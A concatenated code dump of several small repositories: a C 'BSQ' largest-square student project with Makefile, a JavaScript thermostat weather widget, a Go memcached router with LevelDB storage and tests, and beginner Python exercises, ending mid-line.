<file_sep>/* ** main.c for main$ in /home/cjdcoy/CPE_2016_BSQ_bootstrap ** ** Made by <NAME> ** Login <<EMAIL>> ** ** Started on Tue Dec 6 17:21:37 2016 <NAME> DESVIGNES ** Last update Thu Dec 8 18:58:55 2016 <NAME> DESVIGNES */ #include "include/bsq.h" int main(int ac, int **av) { int i; char *folder; i = 0; if (ac < 1) return (0); folder = av[1]; my_read(folder); return (0); } <file_sep>/* ** algo_bsq.c for algo in /home/cjdcoy/CPE_2016_BSQ ** ** Made by <NAME> ** Login <<EMAIL>> ** ** Started on Wed Dec 7 11:37:09 2016 <NAME> DESVIGNES ** Last update Wed Dec 14 11:47:48 2016 <NAME> DESVIGNES */ #include "include/bsq.h" void algo_bsq(char **stock, int y, int x) { int max; int stock1; int stock2; int i; int k; max = 0; i = 0; while (i <= y) { k = 0; while (stock[i][k] != '\0') { if (max < algo_bsq_check(stock, i, k)) { max = algo_bsq_check(stock, i, k); stock1 = i; stock2 = k; } k++; } i++; } algo_bsq_replace(max, stock1, stock2, stock); mem_print_2d_array(stock, y, x); } int algo_bsq_check(char **stock, int y, int x) { int i; int j; j = 0; i = 0; while (stock[y][x + i] == '.' && stock[y + i][x] == '.') { if (i + 1 == algo_bsq_check_y(stock, y, x, i) && i + 1 == algo_bsq_check_x(stock, y, x, i)) i++; else return (i); } return (i); } int algo_bsq_check_y(char **stock, int y, int x, int i) { int j; j = 0; while (j <= i) { if (stock[y + i][x + j] == '.') j++; else return (i); } return (i + 1); } int algo_bsq_check_x(char **stock, int y, int x, int i) { int j; j = 0; while (j <= i) { if (stock[y + j][x + i] == '.') j++; else return (i); } return (i + 1); } void algo_bsq_replace(int max, int y, int x, char **stock) { int i; int j; i = 0; while (i < max) { j = 0; while (j < max) { stock[y + i][x + j] = 'x'; j++; } i++; } } <file_sep>/* ** bsq.h for bsq in /home/cjdcoy/CPE_2016_BSQ/include ** ** Made by <NAME> ** Login <<EMAIL>> ** ** Started on Tue Dec 6 17:34:10 2016 <NAME> DESVIGNES ** Last update Wed Dec 14 11:30:06 2016 Fabien LABARBE DESVIGNES */ #ifndef BSQ_H_ # define BSQ_H_ #include <stdarg.h> #include <stdlib.h> /* **-------------------------------------------------- */ #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <stdlib.h> int my_read(char*); int counter_cols(char*, int, int); void counter_rows_cols(const char*, int); char **mem_alloc_2d_array(const char*, int, int, int); char **malloc_char2d(int); char *malloc_char(int); void mem_print_2d_array(char**, int, int); int exeption_bsq(char**, int, int); int exeption_bsq2(char**, int, int); int exeption_bsq3(char**, int, int); void algo_bsq(char**, int, int); int algo_bsq_check(char**, int, int); int algo_bsq_check_y(char**, int, int, int); int algo_bsq_check_x(char**, int, int, int); void algo_bsq_replace(int, int, int, char**); void array_1d_print_chars(char*); int my_strlen(char*); void my_putchar(char); #endif /* BSQ_H_ */ <file_sep>/* ** exeption_bsq.c for exeption in /home/cjdcoy/CPE_2016_BSQ ** ** Made by <NAME> ** Login <<EMAIL>> ** ** Started on Thu Dec 8 18:14:08 2016 <NAME> DESVIGNES ** Last update Wed Dec 14 10:47:02 2016 <NAME> DESVIGNES */ #include "include/bsq.h" int exeption_bsq(char **stock, int y, int x) { if (y == 0 && x == 0) { write(1, "\n", 1); return (0); } if (y == 1 && x == 1) { if (stock[0][0] == '.') { write(1, "x", 1); write(1, "\n", 1); return (0); } if (stock[0][0] == 'o') { write(1, "o", 1); write(1, "\n", 1); return (0); } } exeption_bsq2(stock, y, x); return (0); } int exeption_bsq2(char **stock, int y, int x) { int i; int max; max = 0; i = 0; if (y == 1 && x > 1) { while (i < x) { if (stock[0][i] == '.' && max == 0) { max++; stock[0][i] = 'x'; } my_putchar(stock[0][i]); i++; } write(1, "\n", 1); return (0); } exeption_bsq3(stock, y, x); return (0); } int exeption_bsq3(char **stock, int y, int x) { int max; int i; i = 0; max = 0; if (y > 1 && x == 1) { while (i < y) { if (stock[i][0]== '.' && max == 0) { stock[i][0] = 'x'; max = 1; } write(1, stock[i], x); write(1, "\n", 1); i++; } return (0); } algo_bsq(stock, y, x); return (0); } void my_putchar(char c) { write(1, &c, 1); } <file_sep>/* ** tools_bsq.c for tools in /home/cjdcoy/CPE_2016_BSQ ** ** Made by <NAME> ** Login <<EMAIL>> ** ** Started on Wed Dec 14 11:10:04 2016 <NAME> DESVIGNES ** Last update Wed Dec 14 11:43:32 2016 <NAME>ARBE DESVIGNES */ #include "include/bsq.h" char **malloc_char2d(int size) { char **t2d; t2d = malloc(sizeof(char*) * size + 1); if (t2d == NULL) return (0); return (t2d); } char *malloc_char(int size) { char *t; t = malloc(sizeof(char) * size + 1); if (t == NULL) return (0); return (t); } <file_sep># my_bsq_2016 Usage: ./bsq [path_to_map]. The map must be composed of o and . pitch: yes 01 - 97x21 rectangle: 100% 02 - 1x1 - eval: 100% 03 - line - eval: 100% 04 - column - eval: 100% 05 - 34x137 rectangle - eval: 100% 06 - Square 187x187 - eval: 100% 07 - Special cases - eval: 100% 08 - Big maps - eval: 100% 100% all maps <file_sep>## ## Makefile for Makefile in /home/cjdcoy/CPE_2016_BSQ_bootstrap ## ## Made by <NAME> ## Login <<EMAIL>> ## ## Started on Tue Dec 6 17:23:23 2016 <NAME>ES ## Last update Wed Dec 21 13:31:26 2016 <NAME> ## CC = gcc -O2 SRC = main.c \ algo_bsq.c \ read_to_array2d.c \ exeption_bsq.c \ source/my_strlen.c \ tools_bsq.c NAME = bsq OBJ = $(SRC:.c=.o) $(NAME): $(OBJ) $(CC) -o $(NAME) $(OBJ) all: $(NAME) clean: rm -rf $(OBJ) fclean: clean rm -rf $(NAME) re: fclean all .PHONY: all clean fclean re <file_sep>/* ** fs_tools3.c for fs_tools3 in /home/cjdcoy/CPE_2016_BSQ_bootstrap ** ** Made by <NAME> ** Login <<EMAIL>> ** ** Started on Tue Dec 6 13:46:55 2016 <NAME> ** Last update Mon Jan 2 13:01:34 2017 <NAME> */ #include "include/bsq.h" int my_read(char *arr) { struct stat statbuf; char *buffer; int fd; int i; int nb_cols; i = 0; nb_cols = 0; stat(arr, &statbuf); buffer = malloc(sizeof(char) * statbuf.st_size); if (buffer == NULL) return (0); fd = open(arr, O_RDONLY); if (fd == -1) return (0); read(fd, buffer, statbuf.st_size); counter_cols(buffer, statbuf.st_size, i); } int counter_cols(char *buffer, int statbuf, int i) { char *new_buffer; int st_size; st_size = 0; new_buffer = malloc(sizeof(char) * statbuf + 10001); if (new_buffer == NULL) return (0); while (buffer[i] <= '9' && buffer[i] >= '0') { i++; } if (buffer[i] == '\n') i++; while (i < statbuf) { new_buffer[st_size] = buffer[i]; st_size++; i++; } counter_rows_cols(new_buffer, st_size); } void counter_rows_cols(const char *buffer, int st_size) { int nb_cols; int nb_rows; int i; i = 0; nb_cols = 0; nb_rows = 0; while (i < st_size) { if (buffer[i] == '\n') nb_cols++; i++; } i = 0; while (buffer[i] != '\n' && i < st_size) { nb_rows = nb_rows + 1; i++; } mem_alloc_2d_array(buffer, st_size, nb_rows, nb_cols); } char **mem_alloc_2d_array(const char *buffer, int st_size, int nb_rows, int nb_cols) { char **stock; int i; int j; int k; i = 0; j = 0; stock = malloc_char2d(nb_cols); while (j <= nb_cols) { k = 0; stock[j] = malloc_char(nb_rows); if (stock == 0 || stock[j] == 0) return (0); while (k < nb_rows) { stock[j][k] = buffer[i]; k++; i++; } i++; j++; } if (exeption_bsq(stock, nb_cols, nb_rows) == 0) return (0); } void mem_print_2d_array(char **stock, int y, int x) { int i; int k; i = 0; while (i < y) { k = 0; write(1, stock[i], my_strlen(stock[i])); k++; write(1, "\n", 1); i++; } }
cba06bc9a25a71d2039b8c3b944f817a7b7b93eb
[ "Markdown", "C", "Makefile" ]
8
C
Cjdcoy/my_bsq_2016
9e9764fb6de0692a350351114b19c60aae7336ad
1ac9f6a6a609ba69d091220cd66639ecb4175a44
refs/heads/master
<file_sep>$(document).ready(function() { const apiKey = `865ee96fec04e5d48d5c974486338e77` const apiCall = (location) => { $.get(`http://api.openweathermap.org/data/2.5/weather?q=${location},uk&APPID=${apiKey}`, (data) => { let temp = `${(data.main.temp - 273.15).toFixed(0)}°C`; let windSpeed = data.wind.speed let forecast = data.weather[0].description $( '#current-city-temp' ).text ( forecast ); console.log(data) $( '#api-wind-speed' ).text( windSpeed ) $( '#api-wind-speed-ms' ).text( 'm/s' ) $( '#api-forecast' ).text( temp ) }); }; $( '#city' ).change((event) => { event.preventDefault() const city = $( '#city' ).val(); apiCall(city); }); const city = $( '#city' ).val(); apiCall(city); });<file_sep>var PowerSavingUnit = require('../../powerSaving') describe("PowerSavingUnit", () => { let testPSUnit = new PowerSavingUnit; beforeEach(() => { let testPSUnit = new PowerSavingUnit; }); it("is on by default", () => { expect(testPSUnit.isActive()).toBeTrue(); }); it("can be turned off", () => { testPSUnit.switchOff(); expect(testPSUnit.isActive()).toBeFalse(); }); it("can be turned on", () => { testPSUnit.switchOff(); testPSUnit.switchOn(); expect(testPSUnit.isActive()).toBeTrue(); }); }); <file_sep># thermostat-challenge User stories: ``` As a user So that I can tell the temperature I want a thermostat ``` ``` As a user So that I can warm up I want to be able to increase the temperature ``` ``` As a user So that I can save on my electricity bills I want to be able to set the temperature o power saving mode ``` ``` As a user So that I can return to a standard temperature I want to be able to reset the thermostat ``` ``` As a user So that I can remain conscious of my carbon footprint I want to be able to monitor my energy usage ``` <file_sep>var one = require ('../src/test.js.js') <file_sep>RSpec.feature 'testing' do scenario 'feature test init' do visit '/' expect(page).to have_content 'Please choose a city' end end
4a4c2272e5ab24cdff422562066143f15047fc9a
[ "JavaScript", "Ruby", "Markdown" ]
5
JavaScript
samfolo/thermostat
a9c8bc1751d8cbf8c3d9e6bd663fb591f7046044
9995f041001dacb42bdfb575b3d490bfcc351fc3
refs/heads/master
<file_sep>package grouter import ( "bytes" "sync" "testing" "encoding/binary" "fmt" ) var testDB *LevelDBEngine var onlyOnce sync.Once func createDB(name string) *LevelDBEngine { f := func() { var err error testDB, err = Open(name) if err != nil { println(err.Error()) panic(err) } } onlyOnce.Do(f) return testDB } func TestSimple(t *testing.T) { db := createDB("/tmp/testdb") key := []byte("hi") value := []byte("hello world") if err := db.Put(key, value); err != nil { t.Fatal(err) } if v, err := db.Get(key); err != nil { t.Fatal(err) } else if (!bytes.Equal(v, value)) { t.Fatal("get value not equal") } if err := db.Delete(key); err != nil { t.Fatal(err) } if v, err := db.Get(key); err != nil { t.Fatal(err) } else if v != nil { t.Fatal("after delete, key should not exist any more") } } func ComposeKey(vbid uint16, key []byte) []byte { data := make([]byte, 2 + len(key)) pos := 0 binary.BigEndian.PutUint16(data[pos:pos+2], vbid) pos += 2 copy(data[pos:pos+len(key)], key) return data } func Pack(cas uint64, extra, body []byte) []byte { packBuf := make([]byte, 13+len(body)+len(extra)) pos := 0 binary.BigEndian.PutUint64(packBuf[pos:pos+8], cas) pos += 8 packBuf[pos] = byte(len(extra)) pos++ copy(packBuf[pos:pos+len(extra)], extra) pos += len(extra) packBuf[pos] = byte(len(body)) binary.BigEndian.PutUint32(packBuf[pos:pos+4], uint32(len(body))) pos+=4 copy(packBuf[pos:pos+len(body)], body) return packBuf } func Unpack(v []byte) (uint64, []byte, []byte) { pos := 0 cas := uint64(binary.BigEndian.Uint64(v[pos:pos+8])) pos += 8 elen := int(v[pos]) pos++ extra := make([]byte, elen) copy(extra, v[pos:pos+elen]) pos += elen blen := int(binary.BigEndian.Uint32(v[pos:pos+4])) pos += 4 body := make([]byte, blen) copy(body, v[pos:pos+blen]) return cas, extra, body } func TestPackUnpack(t *testing.T) { db := createDB("/tmp/testdb") cas := uint64(938424885) key := []byte("somekey") body := []byte("somevalue") extra := []byte("someextra") // packing packBuf := Pack(cas, extra, body) if err := db.Put(key, packBuf); err != nil { t.Fatal(err) } if v, err := db.Get(key); err != nil { t.Fatal(err) } else if (!bytes.Equal(v, packBuf)) { t.Fatal("get value not equal") } else { //unpacking cas1, extra1, body1 := Unpack(v) if cas != cas1 { t.Fatal("cas not equal") } if bytes.Compare(extra, extra1) != 0 { t.Fatal("extra not equal") } if bytes.Compare(body, body1) != 0 { t.Fatal("body not equal") } } } func TestEnumVbucket(t *testing.T) { db := createDB("/tmp/testdb1") k1 := []byte("aaa") k2 := []byte("bbb") k3 := []byte("ccc") k4 := []byte("a323") value := []byte("test value") var vbid = uint16(1) if err := db.Put(ComposeKey(vbid, k1), value); err != nil { t.Fatal(err) } if err := db.Put(ComposeKey(vbid, k2), value); err != nil { t.Fatal(err) } vbid = uint16(3) if err := db.Put(ComposeKey(vbid, k3), value); err != nil { t.Fatal(err) } if err := db.Put(ComposeKey(vbid, k4), value); err != nil { t.Fatal(err) } db.ro.SetFillCache(false) it := db.db.NewIterator(db.ro) defer it.Close() vbid = uint16(1) start_key := make([]byte, 2) binary.BigEndian.PutUint16(start_key, vbid) end_key := make([]byte, 2) binary.BigEndian.PutUint16(end_key, vbid+1) it.Seek(start_key) count := 0 for it = it; it.Valid(); it.Next() { if bytes.Compare(it.Key(), end_key) < 0 { fmt.Println("key:%s, value:%s", it.Key(), it.Value()) count++ } } } <file_sep>grouter - next-gen memcached/couchbase protocol router ====================================================== Instead of "hello world", I write proxy/routers when trying out a new language. With grouter, I can also play with design ideas for a moxi "2.0", but learn golang at the same time. Building -------- First, set up your GOPATH, like... export GOPATH=~/go Then, get the code... go get github.com/steveyen/grouter Or, old-school... mkdir -p ~/go/src/github.com/steveyen cd ~/go/src/github.com/steveyen git clone git://github.com/steveyen/grouter.git For developers, to (re-)build it... cd grouter (cd grouter && go build) Running ------- ./grouter/grouter --help Workload generation... ./grouter/grouter \ --source=workload:concurrency=200 \ --target=couchbase://10.3.121.192:8091 \ --target-concurrency=200 License ------- Apache 2.0 License <file_sep>package grouter import ( "github.com/jmhodges/levigo" ) type LevelDBEngine struct { name string db *levigo.DB options *levigo.Options ro *levigo.ReadOptions wo *levigo.WriteOptions ito *levigo.ReadOptions filter *levigo.FilterPolicy cache *levigo.Cache wbatch *levigo.WriteBatch } func Open(name string) (*LevelDBEngine, error) { dbEngine := new(LevelDBEngine) dbEngine.name = name dbEngine.options = dbEngine.InitOptions() dbEngine.ro = levigo.NewReadOptions() dbEngine.wo = levigo.NewWriteOptions() var err error dbEngine.db, err = levigo.Open(name, dbEngine.options) return dbEngine, err } func (db *LevelDBEngine) InitOptions() *levigo.Options { opts := levigo.NewOptions() db.cache = levigo.NewLRUCache(3 <<10) opts.SetCache(db.cache) opts.SetCreateIfMissing(true) db.filter = levigo.NewBloomFilter(10) opts.SetFilterPolicy(db.filter) opts.SetCompression(levigo.NoCompression) opts.SetBlockSize(1024) opts.SetWriteBufferSize(1024*1024) return opts } func (db *LevelDBEngine) Close() { db.cache.Close() db.filter.Close() db.options.Close() db.ro.Close() db.wo.Close() if db.wbatch != nil { db.wbatch.Close() } db.db.Close() db.db = nil } func (db *LevelDBEngine) Destroy() { db.Close() opts := levigo.NewOptions() defer opts.Close() levigo.DestroyDatabase(db.name, opts) } func (db *LevelDBEngine) Put(key, value []byte) error { return db.db.Put(db.wo, key, value) } func (db *LevelDBEngine) BatchPut(key, value []byte) { if db.wbatch == nil { db.NewWriteBatch() } db.wbatch.Put(key, value) } func (db *LevelDBEngine) Get(key []byte) ([]byte, error) { return db.db.Get(db.ro, key) } func (db *LevelDBEngine) Delete(key []byte) error { return db.db.Delete(db.wo, key) } func (db *LevelDBEngine) BatchDelete(key []byte) { if db.wbatch == nil { db.NewWriteBatch() } db.wbatch.Delete(key) } func (db *LevelDBEngine) NewWriteBatch() { if (db.wbatch != nil) { db.wbatch = nil } db.wbatch = levigo.NewWriteBatch() } func (db *LevelDBEngine) BatchCommit() error { if db.wbatch == nil { //throw error } err := db.db.Write(db.wo, db.wbatch) db.wbatch.Close() return err } func (db *LevelDBEngine) Rollback() { if (db.wbatch != nil) { db.wbatch.Clear() db.wbatch.Close() } } func (db *LevelDBEngine) NewIterator() *levigo.Iterator { return db.db.NewIterator(db.ro) } //writeBatch //Iterator //snapshot <file_sep>package grouter import ( "bytes" "encoding/binary" "sync" "strconv" "github.com/couchbase/gomemcached" "fmt" ) type KineticStorage struct { cas uint64 db *LevelDBEngine incoming chan []Request } type KineticStorageHandler struct { Opcode gomemcached.CommandCode Handler func(s *KineticStorage, req Request) } var KineticStorageHandlers = map[gomemcached.CommandCode] *KineticStorageHandler{ gomemcached.GET: &KineticStorageHandler{gomemcached.GET, KineticGetHandler}, gomemcached.GETK: &KineticStorageHandler{gomemcached.GETK, KineticGetHandler}, gomemcached.GETQ: &KineticStorageHandler{gomemcached.GETQ, KineticGetQuietHandler}, gomemcached.GETKQ: &KineticStorageHandler{gomemcached.GETQ, KineticGetQuietHandler}, gomemcached.SET: &KineticStorageHandler{gomemcached.SET, KineticSetHandler}, gomemcached.ADD: &KineticStorageHandler{gomemcached.ADD, KineticSetHandler}, gomemcached.DELETE: &KineticStorageHandler{ gomemcached.DELETE, func(s *KineticStorage, req Request) { ret := &gomemcached.MCResponse{ Opcode: req.Req.Opcode, Opaque: req.Req.Opaque, Key: req.Req.Key, Status: gomemcached.SUCCESS, } if err := s.db.Delete(ComposeKey(req.Req.VBucket, req.Req.Key)); err != nil { ret.Status = gomemcached.KEY_ENOENT } req.Res <- ret }, }, } func ComposeKey(vbid uint16, key []byte) []byte { keylen := len(key) data := make([]byte, 4 + keylen) pos := 0 binary.BigEndian.PutUint16(data[pos:pos+2], vbid) pos += 2 binary.BigEndian.PutUint16(data[pos:pos+2], uint16(keylen)) pos += 2 copy(data[pos:pos+len(key)], key) return data } func DecomposeKey(body []byte) (uint16, int, []byte) { pos := 0 vbid := uint16(binary.BigEndian.Uint16(body[pos:pos+2])) pos += 2 keylen := int(binary.BigEndian.Uint16(body[pos:pos+2])) pos += 2 key := make([]byte, keylen+1) copy(key, body[pos:pos+keylen]) return vbid, keylen, key } func Pack(cas uint64, extra, body []byte) []byte { packBuf := make([]byte, 13+len(body)+len(extra)) pos := 0 binary.BigEndian.PutUint64(packBuf[pos:pos+8], cas) pos += 8 packBuf[pos] = byte(len(extra)) pos++ copy(packBuf[pos:pos+len(extra)], extra) pos += len(extra) packBuf[pos] = byte(len(body)) binary.BigEndian.PutUint32(packBuf[pos:pos+4], uint32(len(body))) pos+=4 copy(packBuf[pos:pos+len(body)], body) return packBuf } func Unpack(v []byte) (uint64, []byte, []byte) { pos := 0 cas := uint64(binary.BigEndian.Uint64(v[pos:pos+8])) pos += 8 elen := int(v[pos]) pos++ extra := make([]byte, elen) copy(extra, v[pos:pos+elen]) pos += elen blen := int(binary.BigEndian.Uint32(v[pos:pos+4])) pos += 4 body := make([]byte, blen) copy(body, v[pos:pos+blen]) return cas, extra, body } func KineticGetHandler(s *KineticStorage, req Request) { ret := &gomemcached.MCResponse{ Opcode: req.Req.Opcode, Opaque: req.Req.Opaque, Key: req.Req.Key, Status: gomemcached.SUCCESS, } if v, err := s.db.Get(ComposeKey(req.Req.VBucket, req.Req.Key)); err != nil { ret.Status = gomemcached.KEY_ENOENT fmt.Println("Fail to get key:%s", string(req.Req.Key)) } else { ret.Extras = make([]byte, 4) binary.BigEndian.PutUint32(ret.Extras, 0) ret.Cas = 0 ret.Body = v } req.Res <- ret } func KineticGetQuietHandler(s *KineticStorage, req Request) { it := s.db.NewIterator() defer it.Close() //extract vbucket id vbid := req.Req.VBucket fmt.Println("vbid:", vbid) start_key := make([]byte, 2) binary.BigEndian.PutUint16(start_key, vbid) end_key := make([]byte, 2) binary.BigEndian.PutUint16(end_key, vbid+1) key := req.Req.Key if string(key) == "keys_only" { value := make([]byte, 1) for it.Seek(start_key); it.Valid(); it.Next() { if bytes.Compare(it.Key(), end_key) < 0 { ret := &gomemcached.MCResponse{ Opcode: req.Req.Opcode, Opaque: req.Req.Opaque, Key: req.Req.Key, Status: gomemcached.SUCCESS, Body: value, } ret.Extras = make([]byte, 4) binary.BigEndian.PutUint32(ret.Extras, 0) _, _, key := DecomposeKey(it.Key()) ret.Key = key ret.Cas = 0 req.Res <- ret } } } else if string(key) == "items_count" { total := 0 for it.Seek(start_key); it.Valid(); it.Next() { if bytes.Compare(it.Key(), end_key) < 0 { total++ } } ret := &gomemcached.MCResponse{ Opcode: req.Req.Opcode, Opaque: req.Req.Opaque, Key: req.Req.Key, Status: gomemcached.SUCCESS, } fmt.Println("total:", total) ret.Extras = make([]byte, 4) ret.Cas = 0 ret.Body = []byte(strconv.Itoa(total)) req.Res <- ret } else { for it.Seek(start_key); it.Valid(); it.Next() { if bytes.Compare(it.Key(), end_key) < 0 { ret := &gomemcached.MCResponse{ Opcode: req.Req.Opcode, Opaque: req.Req.Opaque, Key: req.Req.Key, Status: gomemcached.SUCCESS, } ret.Extras = make([]byte, 4) binary.BigEndian.PutUint32(ret.Extras, 0) _, _, key := DecomposeKey(it.Key()) ret.Key = key ret.Cas = 0 ret.Body = it.Value() fmt.Println("Get vid:, key:", vbid, string(ret.Key)) req.Res <- ret } } } ret := &gomemcached.MCResponse{ Opcode: gomemcached.NOOP, Opaque: req.Req.Opaque, Key: req.Req.Key, Status: gomemcached.NOT_MY_VBUCKET, } req.Res <- ret } func KineticSetHandler(s *KineticStorage, req Request) { ret := &gomemcached.MCResponse { Opcode: req.Req.Opcode, Opaque: req.Req.Opaque, Key: req.Req.Key, Status: gomemcached.SUCCESS, } s.cas += 1 if err := s.db.Put(ComposeKey(req.Req.VBucket, req.Req.Key), req.Req.Body); err != nil { ret.Status = gomemcached.KEY_ENOENT fmt.Println("fail to set key with error:%d", err) } else { fmt.Println("set key with value successfully", string(req.Req.Key)) } //flags := binary.BigEndian.Uint32(req.Req.Extras) //exp := binary.BigEndian.Uint32(req.Req.Extras[4:]) //cas := s.cas req.Res <- ret } func (s KineticStorage) PickChannel(clientNum uint32, bucket string) chan []Request { return s.incoming } func KineticStorageStart(spec string, params Params, statsChan chan Stats) Target { s := KineticStorage{ incoming: make(chan []Request, params.TargetChanSize), } f := func() { var err error s.db, err = Open("/tmp/testdb") if err != nil { println(err.Error()) panic(err) } } var onlyOnce sync.Once onlyOnce.Do(f) go func() { for reqs := range s.incoming { for _, req := range reqs { fmt.Println("incoming opcode:", req.Req.Opcode) if h, ok := KineticStorageHandlers[req.Req.Opcode]; ok { h.Handler(&s, req) } else { req.Res <- &gomemcached.MCResponse{ Opcode: req.Req.Opcode, Status: gomemcached.UNKNOWN_COMMAND, Opaque: req.Req.Opaque, } } } } }() return s } <file_sep>package grouter import ( "bufio" "io" "log" "time" "github.com/couchbase/gomemcached" ) type KineticSource struct { // A source that handles kinetic requests. } func (self KineticSource) Run(s io.ReadWriter, clientNum uint32, target Target, statsChan chan Stats) { tot_source_kinetic_ops_nsecs := int64(0) tot_source_kinetic_ops := 0 br := bufio.NewReader(s) bw := bufio.NewWriter(s) res := make(chan *gomemcached.MCResponse) for { req := gomemcached.MCRequest{} _, err := req.Receive(br, nil) if err != nil { log.Printf("KineticSource receiving error: %v", err) return } reqs_start := time.Now() if cmd, ok := KineticCmds[req.Opcode]; ok { if !cmd.Handler(&self, target, res, cmd, &req, br, bw, clientNum) { return } } else { KineticClientError(bw, "unknown command - "+req.Opcode.String()+"\r\n") } reqs_end := time.Now() tot_source_kinetic_ops_nsecs += reqs_end.Sub(reqs_start).Nanoseconds() tot_source_kinetic_ops += 1 if tot_source_kinetic_ops%100 == 0 { statsChan <- Stats{ Keys: []string{ "tot-source-kinetic-ops", "tot-source-kinetic-ops-usecs", }, Vals: []int64{ int64(tot_source_kinetic_ops), int64(tot_source_kinetic_ops_nsecs / 1000), }, } tot_source_kinetic_ops_nsecs = 0 tot_source_kinetic_ops = 0 } } } type KineticCmd struct { Opcode gomemcached.CommandCode Handler func(source *KineticSource, target Target, res chan *gomemcached.MCResponse, cmd *KineticCmd, req *gomemcached.MCRequest, br *bufio.Reader, bw *bufio.Writer, clientNum uint32) bool } var KineticCmds = map[gomemcached.CommandCode]*KineticCmd{ gomemcached.QUIT: &KineticCmd{ gomemcached.QUIT, func(source *KineticSource, target Target, res chan *gomemcached.MCResponse, cmd *KineticCmd, req *gomemcached.MCRequest, br *bufio.Reader, bw *bufio.Writer, clientNum uint32) bool { response := gomemcached.MCResponse { Status: gomemcached.SUCCESS, Opcode: req.Opcode, Opaque: req.Opaque, } response.Transmit(bw) bw.Flush() return false }, }, gomemcached.VERSION: &KineticCmd{ gomemcached.VERSION, func(source *KineticSource, target Target, res chan *gomemcached.MCResponse, cmd *KineticCmd, req *gomemcached.MCRequest, br *bufio.Reader, bw *bufio.Writer, clientNum uint32) bool { response := gomemcached.MCResponse{ Status: gomemcached.SUCCESS, Opcode: req.Opcode, Opaque: req.Opaque, Key: req.Key, Body: []byte(version), } response.Transmit(bw) bw.Flush() return true }, }, gomemcached.DELETE: &KineticCmd{ gomemcached.DELETE, func(source *KineticSource, target Target, res chan *gomemcached.MCResponse, cmd *KineticCmd, req *gomemcached.MCRequest, br *bufio.Reader, bw *bufio.Writer, clientNum uint32) bool { reqs := make([]Request, 1) reqs[0] = Request{ "default", req, res, clientNum, } targetChan := target.PickChannel(clientNum, "default") targetChan <- reqs response := <-res response.Transmit(bw) bw.Flush() return true }, }, gomemcached.GET: &KineticCmd{gomemcached.GET, KineticCmdGet}, gomemcached.GETK: &KineticCmd{gomemcached.GETK, KineticCmdGet}, gomemcached.GETQ: &KineticCmd{gomemcached.GETQ, KineticCmdGetQuiet}, gomemcached.GETKQ: &KineticCmd{gomemcached.GETKQ, KineticCmdGetQuiet}, gomemcached.SET: &KineticCmd{gomemcached.SET, KineticCmdMutation}, gomemcached.ADD: &KineticCmd{gomemcached.ADD, KineticCmdMutation}, } func KineticCmdGet(source *KineticSource, target Target, res chan *gomemcached.MCResponse, cmd *KineticCmd, req *gomemcached.MCRequest, br *bufio.Reader, bw *bufio.Writer, clientNum uint32) bool { reqs := make([]Request, 1) reqs[0] = Request{ "default", req, res, clientNum, } targetChan := target.PickChannel(clientNum, "default") targetChan <- reqs response := <-res response.Transmit(bw) bw.Flush() return true } func KineticCmdGetQuiet(source *KineticSource, target Target, res chan *gomemcached.MCResponse, cmd *KineticCmd, req *gomemcached.MCRequest, br *bufio.Reader, bw *bufio.Writer, clientNum uint32) bool { reqs := make([]Request, 1) reqs[0] = Request{ "default", req, res, clientNum, } targetChan := target.PickChannel(clientNum, "default") targetChan <- reqs for { response := <-res response.Transmit(bw) bw.Flush() if response.Status != gomemcached.SUCCESS { break } } return true } func KineticCmdMutation(source *KineticSource, target Target, res chan *gomemcached.MCResponse, cmd *KineticCmd, req *gomemcached.MCRequest, br *bufio.Reader, bw *bufio.Writer, clientNum uint32) bool { reqs := make([]Request, 1) reqs[0] = Request{ "default", req, res, clientNum, } targetChan := target.PickChannel(clientNum, "default") targetChan <- reqs response := <-res response.Transmit(bw) bw.Flush() return true } func KineticClientError(bw *bufio.Writer, msg string) bool { bw.Write([]byte("CLIENT_ERROR ")) bw.Write([]byte(msg)) bw.Flush() return true }
303d557e15bac5d6a245e9018ffabdca2dd3ab5b
[ "Markdown", "Go" ]
5
Go
bcui6611/grouter
f841d67fc245a1f8ee526791ca77973ca93f77f8
6dc6a66fc697f22169660b5172f095ea703f6363
refs/heads/master
<file_sep>""" trabajando con clases """ class thing: pass #contructor sin argumentos parametros class Fruit: def __init__(self): print('objeto fruta') fruit = Fruit() #argumentos del constructor class CustomFruit: """esta clase no vale para mucho pero me gusta escribir""" COUNTER=0 def __init__(self, name, color): self.name = name self.color = color self.juices = 0 CustomFruit.COUNTER += 1 def __str__(self): return 'Soy fruta, me llamo {} y mi color es {}.\hHay{} frutas en total'\ .format(self.name, self.color, CustomFruit.COUNTER) def make_juice(self, count): for n in range(count): print('Haciendo zumo de', self.name) self.juices += 1 custom = CustomFruit('pera', 'verde') print(custom) custom.make_juice(2) c2 = CustomFruit('Limon', 'Amarillo') print(c2) c2.make_juice(4) print('Zumos hechos', c2.juices) <file_sep>""" Ejemplos para trabajar con LISTAas """ LISTA = [1, 2, 3, 4, 5, "seis"] print(LISTA) print(LISTA[0]) print(LISTA[4]) print(LISTA[2:5]) print(LISTA[3:]) print(LISTA[:2]) size = len(LISTA) print('tamaño de la LISTAa', size) del LISTA[2] print(LISTA) LISTA[2] = 'tres' print(LISTA) #Concatenar dos listas LISTA += ['siete', 8, True, False] print(LISTA) #Añadir elemento a la lista LISTA.append('elemento nuevo') print(LISTA) LISTA.remove('seis') print(LISTA) LISTA.reverse() print(LISTA) LISTA.insert(1, 'PC') print(LISTA)<file_sep>#!/usr/bin/env python """ Esto se llama docstring y sirve para documentar el modulo """ print(__name__) <file_sep>TEXTO = 'Esto es un tecto de una linea' print(TEXTO) print(type(TEXTO)) NUMERO_SIMPLE = 4 print(NUMERO_SIMPLE) print(type(NUMERO_SIMPLE)) NUMERO_COMA_FLOTANTE = 100.4 print(NUMERO_COMA_FLOTANTE) print(type(NUMERO_COMA_FLOTANTE)) MAYOR_DE_EDAD = True print(MAYOR_DE_EDAD) print(type(MAYOR_DE_EDAD)) PARRAFO = """Esto es un parrafo o un estring con varias lineas""" print(PARRAFO) print(type(PARRAFO)) NOMBRE = 'jovanny' EDAD = 22 print('{} tiene {} años'.format(NOMBRE, EDAD)) A = B = C = 100 print(A) print(B) print(C) D, F, G = 1, False, 'bola' print(D) print(F) print(G) <file_sep>""" Ejemplo de llamada http y parseo de json """ from libs.urlloader import load_url import json people_api_result = load_url('http://swapi.co/api/people/') result_json = json.loads(people_api_result) people = results_json['results'] for person in people print(person('name'))<file_sep>""" La libreria requests simplifica mucho el trabajo con llamadas y respuestas http https:// """ import requests response = requests.get('https://httpbin.org/ip') ip = response.json()['origin'] print('tu ip es', ip) response = 